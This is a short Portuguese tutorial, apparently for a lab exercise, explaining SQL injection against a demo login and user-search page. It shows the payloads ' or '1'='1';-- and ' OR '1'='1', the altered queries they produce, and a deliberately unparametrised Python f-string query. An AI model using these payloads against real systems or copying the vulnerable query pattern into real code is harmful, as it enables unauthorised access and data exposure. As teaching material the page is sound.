

# SQL-Injection

O SQL-Injection consiste em manipular os campos dos formulários que contêm os valores das variáveis que são usadas pelo backend para realizar a query à BD.

Neste caso pretendemos fazer login na aplicação:

## Login

Entrar

[Login](#) | [Pesquisa](#) | [Logout](#)

SQL-Injection: ' or '1'='1';--

O código resultante executado pelo SQLAlchemy seria algo assim:

sql

Copiar código

```
SELECT * FROM user WHERE email='' OR '1'='1' AND password='qualquercoisa';
```

SELECT \* FROM user WHERE email="" OR '1'='1' AND password='qualquercoisa';

NOTA: a query original sem o SQL-Injection seria:

sql

Copiar código

```
SELECT * FROM user WHERE email='' AND password='qualquercoisa';
```

O que foi feito?

Conseguimos manipular e inserir no meio da query original a nossa condição ' or '1'='1';--

Análise:

email="" OR '1'='1'

O primeiro apóstrofe fecha o campo do email

email="" OR '1'='1'

Após fechar o campo email (email=") é inserida a condição OR 1=1

Após o Login com sucesso, obtemos acesso à página de Pesquisa, onde podemos pesquisar na base de dados por utilizadores inserindo o nome do utilizador.

## Resultado da Pesquisa

Pesquisar

- 1: Alice (alice@example.com)
- 2: Bob (bob@example.com)
- 3: Charlie (charlie@example.com)

[Login](#) | [Pesquisa](#) | [Logout](#)

**SQL-Injection: `' OR '1'='1'`**

A consulta resultante será:

sql

Copiar código

```
SELECT * FROM user WHERE name LIKE '%%' OR '1'='1';
```

**`SELECT * FROM user WHERE name LIKE '%%' OR '1'='1';`**

**NOTA:** a query original **sem o SQL-Injection** seria:

python

Copiar código

```
results = db.engine.execute(f"SELECT * FROM user WHERE name LIKE '{query}%")
```

### O que foi feito?

Conseguimos manipular e inserir no meio da query original a nossa condição `' OR '1'='1'` ou também pode ser utilizado `' OR '1'='1';--`

Aqui, o LIKE '%%' procura todos os utilizadores da tabela, pois a condição '1'='1' sempre será verdadeira, e o resultado será uma lista completa de todos os usuários na tabela.

### Por Que Isso Funciona?

Em ambas as injeções, o código SQL foi alterado para incluir uma condição sempre verdadeira ('1'='1'), o que permite que todos os registos sejam retornados. Sem sanitização e parametrização adequada, esses valores são inseridos diretamente na consulta SQL.

